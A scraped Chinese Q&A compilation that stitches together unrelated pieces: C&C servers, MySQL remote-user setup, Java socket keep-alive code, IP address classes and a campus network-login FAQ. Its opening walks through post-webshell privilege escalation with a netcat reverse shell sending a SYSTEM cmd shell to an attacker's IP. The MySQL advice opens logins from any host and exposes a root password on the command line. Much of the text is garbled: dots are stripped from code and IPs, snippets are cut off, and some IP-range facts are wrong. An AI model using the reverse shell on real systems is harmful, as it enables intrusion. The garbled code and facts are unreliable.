什么是C&C服务器
C&C 服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器
通常在做渗透测试的时候,在拿到一个 webshell 的时候,需要对服务器进行提权操作,如果是一台 windows 的服务器,提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权,有些 exp 可以直接在后面加参数,溢出成功之后执行参数中的命令。
而有的 exp 溢出成功之后是返回一个 system 权限的 cmd,这时就需要将低权限的 cmd shell 反弹回本地,这里用 nc 在本地执行:nc -vv -lp 3333
上述命令的意思是在本地监听一个 3333 端口等待连接,假设电脑 IP 是公网的,并且 IP 为 114114114114,然后在目标服务器就可以执行:nc 114114114114 3333 -e cmdexe
上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地,这时你就可以通过 nc 建立的这个 shell 进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的 C&C 服务器。
扩展资料:
C&C 服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。
通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网 IP 地址是:111111111111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。
这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP 的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。
进入mysql,创建一个新用户xuys:
格式:grant 权限 on 数据库名表名 用户@登录主机 identified by "用户密码";
grant select,update,insert,delete on to xuys@19216888234 identified by "xuys1234";
查看结果,执行:
use mysql;
select host,user,password from user;
可以看到在user表中已有刚才创建的xuys用户。host字段表示登录的主机,其值可以用IP,也可用主机名,
将host字段的值改为%就表示在任何客户端机器上能以xuys用户登录到mysql服务器,建议在开发时设为%。
update user set host = '%' where user = 'xuys';
2、 /mysqladmin -uroot -p21century reload
/mysqladmin -uroot -p21century shutdown
3、/mysqld_safe --user-root &
记住:对授权表的任何修改都需要重新reload,即执行第3步。
如果经过以上3个步骤还是无法从客户端连接,请执行以下操作,在mysql数据库的db表中插入一条记录:
use mysql;
insert into db values('19216888234','%','xuys','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y');
update db set host = '%' where user = 'xuys';
重复执行上面的第2、3步。
通过轮询来实现长连接
轮询:隔一段时间访问服务器,服务器不管有没有新消息都立刻返回。
http长连接实现代码:
客户端:
package houleicsdnkeepalive;
import javaioIOException;
import javaioInputStream;
import javaioObjectInputStream;
import javaioObjectOutputStream;
import javanetSocket;
import javanetUnknownHostException;
import javautilconcurrentConcurrentHashMap;
/
C/S架构的客户端对象,持有该对象,可以随时向服务端发送消息。
<p>
创建时间:2010-7-18 上午12:17:25
@author HouLei
@since 10
/
public class Client {
/
处理服务端发回的对象,可实现该接口。
/
public static interface ObjectAction{
void doAction(Object obj,Client client);
}
public static final class DefaultObjectAction implements ObjectAction{
public void doAction(Object obj,Client client) {
Systemoutprintln("处理:\t"+objtoString());//诊断程序是否正常
}
}
public static void main(String[] args) throws UnknownHostException, IOException {
String serverIp = "127001";
int port = 65432;
Client client = new Client(serverIp,port);
clientstart();
}
private String serverIp;
private int port;
private Socket socket;
private boolean running=false;
private long lastSendTime;
private ConcurrentHashMap<Class, ObjectAction> actionMapping = new ConcurrentHashMap<Class,ObjectAction>();
public Client(String serverIp, int port) {
thisserverIp=serverIp;thisport=port;
}
public void start() throws UnknownHostException, IOException {
if(running)return;
socket = new Socket(serverIp,port);
Systemoutprintln("本地端口:"+socketgetLocalPort());
lastSendTime=SystemcurrentTimeMillis();
running=true;
new Thread(new KeepAliveWatchDog())start();
new Thread(new ReceiveWatchDog())start();
}
public void stop(){
if(running)running=false;
}
/
添加接收对象的处理对象。
@param cls 待处理的对象,其所属的类。
@param action 处理过程对象。
/
public void addActionMap(Class<Object> cls,ObjectAction action){
actionMappingput(cls, action);
}
public void sendObject(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(socketgetOutputStream());
ooswriteObject(obj);
Systemoutprintln("发送:\t"+obj);
oosflush();
}
class KeepAliveWatchDog implements Runnable{
long checkDelay = 10;
long keepAliveDelay = 2000;
public void run() {
while(running){
if(SystemcurrentTimeMillis()-lastSendTime>keepAliveDelay){
try {
ClientthissendObject(new KeepAlive());
} catch (IOException e) {
eprintStackTrace();
Clientthisstop();
}
lastSendTime = SystemcurrentTimeMillis();
}else{
try {
Threadsleep(checkDelay);
} catch (InterruptedException e) {
eprintStackTrace();
Clientthisstop();
}
}
}
}
}
class ReceiveWatchDog implements Runnable{
public void run() {
while(running){
try {
InputStream in = socketgetInputStream();
if(inavailable()>0){
ObjectInputStream ois = new ObjectInputStream(in);
Object obj = oisreadObject();
Systemoutprintln("接收:\t"+obj);//接受数据
ObjectAction oa = actionMappingget(objgetClass());
oa = oa==nullnew DefaultObjectAction():oa;
oadoAction(obj, Clientthis);
}else{
Threadsleep(10);
}
} catch (Exception e) {
eprintStackTrace();
Clientthisstop();
}
}
}
}
}
服务端:
package houleicsdnkeepalive;
import javaioIOException;
import javaioInputStream;
import javaioObjectInputStream;
import javaioObjectOutputStream;
import javanetServerSocket;
import javanetSocket;
import javautilconcurrentConcurrentHashMap;
/
C/S架构的服务端对象。
<p>
创建时间:2010-7-18 上午12:17:37
@author HouLei
@since 10
/
public class Server {
/
要处理客户端发来的对象,并返回一个对象,可实现该接口。
/
public interface ObjectAction{
Object doAction(Object rev);
}
public static final class DefaultObjectAction implements ObjectAction{
public Object doAction(Object rev) {
Systemoutprintln("处理并返回:"+rev);//确认长连接状况
return rev;
}
}
public static void main(String[] args) {
int port = 65432;
Server server = new Server(port);
serverstart();
}
private int port;
private volatile boolean running=false;
private long receiveTimeDelay=3000;
private ConcurrentHashMap<Class, ObjectAction> actionMapping = new ConcurrentHashMap<Class,ObjectAction>();
private Thread connWatchDog;
public Server(int port) {
thisport = port;
}
public void start(){
if(running)return;
running=true;
connWatchDog = new Thread(new ConnWatchDog());
connWatchDogstart();
}
@SuppressWarnings("deprecation")
public void stop(){
if(running)running=false;
if(connWatchDog!=null)connWatchDogstop();
}
public void addActionMap(Class<Object> cls,ObjectAction action){
actionMappingput(cls, action);
}
class ConnWatchDog implements Runnable{
public void run(){
try {
ServerSocket ss = new ServerSocket(port,5);
while(running){
Socket s = ssaccept();
new Thread(new SocketAction(s))start();
}
} catch (IOException e) {
eprintStackTrace();
Serverthisstop();
}
}
}
class SocketAction implements Runnable{
Socket s;
boolean run=true;
long lastReceiveTime = SystemcurrentTimeMillis();
public SocketAction(Socket s) {
thiss = s;
}
public void run() {
while(running && run){
if(SystemcurrentTimeMillis()-lastReceiveTime>receiveTimeDelay){
overThis();
}else{
try {
InputStream in = sgetInputStream();
if(inavailable()>0){
ObjectInputStream ois = new ObjectInputStream(in);
Object obj = oisreadObject();
lastReceiveTime = SystemcurrentTimeMillis();
Systemoutprintln("接收:\t"+obj);
ObjectAction oa = actionMappingget(objgetClass());
oa = oa==nullnew DefaultObjectAction():oa;
Object out = oadoAction(obj);
if(out!=null){
ObjectOutputStream oos = new ObjectOutputStream(sgetOutputStream());
ooswriteObject(out);
oosflush();
}
}else{
Threadsleep(10);
}
} catch (Exception e) {
eprintStackTrace();
overThis();
}
}
}
}
private void overThis() {
if(run)run=false;
if(s!=null){
try {
sclose();
} catch (IOException e) {
eprintStackTrace();
}
}
Systemoutprintln("关闭:"+sgetRemoteSocketAddress());//关闭长连接
}
}
}
长连接的维持,是要客户端程序,定时向服务端程序,发送一个维持连接包的。
如果,长时间未发送维持连接包,服务端程序将断开连接。
估计你是用的tcp socket,导致“videlord”网友说的情况:对于tcp socket,send与recv不是对等的,recv时只要缓冲有数据就会收上来。简单说就是你send 4次,比如分别为10 10 10 10字节,对端可以一次recv到这40字节数据,也可以recv 40次、每次1字节。
解决办法有两种:
改用udp socket,send/recv自然对等了
继续用tcp socket,自己进行数据分段:比如自行约定在数据前约定4个字节用于描述数据长度,这样发送时,send 4+33字节,send 4+35字节;接收时,先获取描述长度的4字节获得长度,再按照长度接收数据(可能需要多次recv凑齐指定长度)。
可以把主机c再装一块网卡,也就是双网卡,外网接一块网卡,之后主机a和服务器b可以通过交换机连在主机c的另一块网卡上,从而组成内网,把主机a和服务器b的网关地质填写成主机c的内网ip地址就可以了
段C:一般指段C网络段,也称为“段C渗透”IP范围192.0.0.1到223.255.255.254
段C服务器:为站集群服务器的IP网络段。IP地址是C段。
C段服务器的本质是C级IP段。
扩展资料:
B类地址:
172.16.0.0到172.31.255.255是私有地址,169.254.0.0到169.254.255.255是保留地址。
类D地址:
不反映网络的大小,但仅用于组播,以指定指定接收组播的节点组,组播由组播订阅的成员组成。
类地址的范围从224.0.0.0到239.255.255.255。
类地址(240.0.0.0-255.255.254)用于测试。
问题一:客户端如何连接服务器 客户端通过终端(终端有下载的软件,包括浏览器也属于终端),通过一个端口,连接到服务器指定的端口。服务器会监听这个端口,如何有这个端口的应用访问,则和终端用户交互,从而达到客户端连接服务器的作用。
问题二:客户端怎么连接到服务器的数据库上? 既然是这种数据库,那你就在你的电脑上装SQL SEVER数据库,然后下载对应的数据库管理软件就行了,当然在你安装完本地的数据库后要想访问远程服务器上的数据库一定需要配置,至于你说的一步一步,我觉得你应该百度搜一下,具体的安装都有
问题三:Java中客户端与服务器之间怎样连接? socket通信
客户端:Socket s= new Socket (localhost,8888);
服务器:ServerSocket ss户= new ServerSocket(8888);
Socket s=ssaccept();
问题四:客户端无法连接到服务器 您好
您可以尝试一下右击服务器的我的电脑-属性,找到远程桌面的部分,允许下
到服务器防火墙看看,是不是禁用了远程桌面,不懂的话直接关闭防火墙,也希望你没安装第三方网络防火墙
问题五:跪求金蝶K3客户端怎么连接服务器 K3客户端和服务器都要完整安装好,确定是在同一个网关内,并且能够相互PING得通。
然后再服务器上新建一个,与客户端开机登录的用户名和密码一致的用户(我的电脑->右击->管理->本地用户和组->用户),
之后就是在客户端远程组建配置工具中测试,通过后确定就OK了。
问题六:java怎么知道客户端连接服务器 java socket就可以完成
问题七:Android客户端怎么与服务器数据库连接? 客户端和服务端的数据库连接,是要服务器端做开发的,像javaee开发的服务端,然后客户端通过等连接到服务端,然后服务端通过一系列操作,吧数据返回给客户端,这样就完成了一次连接。
问题八:上网认证客户端无法连接认证服务器怎么办? 认证客户端常见问题解答
1.客户端一运行即消失的故障?
答:故障原因:如果用户的电脑设置了多个DNS或多个IP地址及系统里有system32exe这个进程,可能是木马进程序,有可能伪装成其它的名字的话,会导致以上故障。
故障解决办法如下:正确设置IP地址(只设置网络中心提供的地址)及DNS地址。
2.客户端提示“找不到合适的网卡”故障信息?
答:故障原因:系统没有正确获得网卡信息,或者网卡有问题。
故障解决办法如下:退出并重新打开客户端,如果问题依旧存在,请将网卡驱动程序卸载重装,如果还是不能解决问题,更换一张网卡。
3.客户端提示“目前系统工作环境与软件运行环境相冲突,软件不能正常运行,CODE=2”的故障信息?
答:故障原因:安装了多块网卡,与客户端运行的环境不符合要求。
故障解决办法:卸载或者禁用多余网卡,只保留一张网卡运行。
4.客户端提示“目前系统工作环境与软件运行环境相冲突,软件不能正常运行CODE=4”的故障信息?
答:故障原因:由于安装了代理软件,与客户端运行的环境不符合要求。
故障解决办法:关闭或卸载代理服务器以及一切可能成为代理服务器的软件。
5.客户端认证失败,没有任何的错误提示信息?
答:故障原因:WINXP启用了系统自带的8021X功能。
故障解决办法:双击网络连接图标,把属性里面的身份验证标签下“启用8021X身份认证”前的勾去掉。
6.客户端提示认证失败,提示“已达到最大连接数”的故障?
答:故障原因:使用的帐号已在线,可能使用了别人的帐号,或者帐号输入错误。
故障解决办法:确认自己帐号正确性,如果确属自己帐号,则告知相关请有效证件,要求网络中心将其帐号下线。
7.客户端提示认证失败,提示“IP类型错误”的故障?
答:故障原因:认证服务器没有获得IP地址信息。
故障解决办法:在本地连接属性里面把IP获取方式改为自动获取,如果还是不能解决,请将网卡驱动程序卸载重装一次。
8.客户端提示认证失败,提示“XXXX绑定错误”的故障?
答:故障原因:非正常使用帐号;目前使用的网卡相关设置和教育技术办用户信息数据库里的相关绑定记录不一致。
故障解决方法:正确使用个人帐号,不要随意更改设置;带有效证件到网络中心做修改。
9.客户端提示认证失败,提示“网卡未连接上”的故障?
答:故障原因:网线连接不正确,交换机柜停电等。
故障解决方法:检查网线是否正常,确认机房交换机柜是否停电。
10.客户端提示认证失败,认证客户端停顿在:“寻找认证服务器。。。”的故障?
答:故障原因:可能网卡有问题,或者没有选择“使用私有组播地址认证”。
故障解决方法:检查网线是否正常;将速率改成10M,在实际运行中存在某些线路无法进行100M的数据交换;在认证客户端中设置“使用私有组播地址认证”;重装网卡驱动程序;如果问题依旧存在,更换一张网卡。如果在更换网卡之后出现“MAC地址绑定错误”,证明以前用的网卡质量不好,请使用新的网卡,并网络中心重新绑定。
11.客户端提示初始化网卡信息失败的故障?
答:故障原因:电脑有多个网卡信息。
故障解决方法:禁用掉无用的网卡,特别注意,很多笔记本电脑带无线网卡,一定要禁用掉!
12.客户端无法认证成功,提示“不在认证时段内”的故障?
答:故障原因:不在允许的时段内认证使用网络。
故障解决方法:请确认时间段是否为管理人员允许上网的时段。
13.客户端无法认证成功,提示“用户不存在或者密码错”的故障?
>>
问题九:socket怎样使得多个客户端连接到一个服务器 在服务器端设置一个标志变量,如int flag = 0,当有客户端连接上了,就检查那个标志变量是否为0,如果是的话就连接,然后将这个标志设为1。如果为1的话就拒绝连接。我不知道你是用什么语言编写的,所以具体怎么去拒绝连接就自己多想想吧・・・
在java里面很容易实现,下面是我在java中实现的服务器端代码,希望对你有帮助。。。
package ob;
import javaioIOException;
import javaServerSocket;
import javaSocket;
public class Server {
Socket socket;
boolean flag = true;
public void createServer() {
try {
ServerSocket serverSocket = new ServerSocket(9090);
while (true) {
socket = serverSocketaccept();
if (flag) {
Systemoutprintln(有用户连上・・・);
Systemoutprintln(ip:+socketgetRemoteSocketAddress()toString()+ port:+socketgetPort());
flag = false;
}else{
Systemoutprintln(有用户连上・・・);
socketclose();
Systemoutprintln(关闭用户连接・・・);
}
}
} catch (IOException e) {
eprintStackTrace();
}
}
public static void main(String[] args) {
new Server()createServer();
}
}
问题十:socket客户端如何连接服务器端 import java;
import javalang;
import javaio;
public class MySocketServer
{
public static void main(String args[]) throws IOException
{
try{
ServerSocket myServer = new ServerSocket(8018);
Systemoutprintln(正在监听端口:+myServergetLocalPort());
Socket myClient = null;
boolean flag = true;
String InputMessage = null;
int c;
while(flag)
{
myClient = myServeraccept();
接收客户端的信息,如果不是Stop就继续监听,加个if判断
DataInputStream dataIn = new DataInputStream(myClientgetInputStream());
DataInputStream dataIn = new DataInputStream(new BufferedInputStream(myClientgetInputStream()));
OutputStream dataOut = myClientgetOutputStream();
while( (InputMessage = dataInreadLine()) != null )
{
if( InputMessageequals(stop))
{
flag = false;
break;
}
else
{
Systemoutprintln(从客户端接收到的信息是:+InputMessage);
输入:读取至 末尾-1结束,遇到回车'\n'结束:
while((c=Systeminread())!= -1)
{
dataOutwrite((byte)c);
if( c== '\n')
{
dataOutflush();
>>
0条评论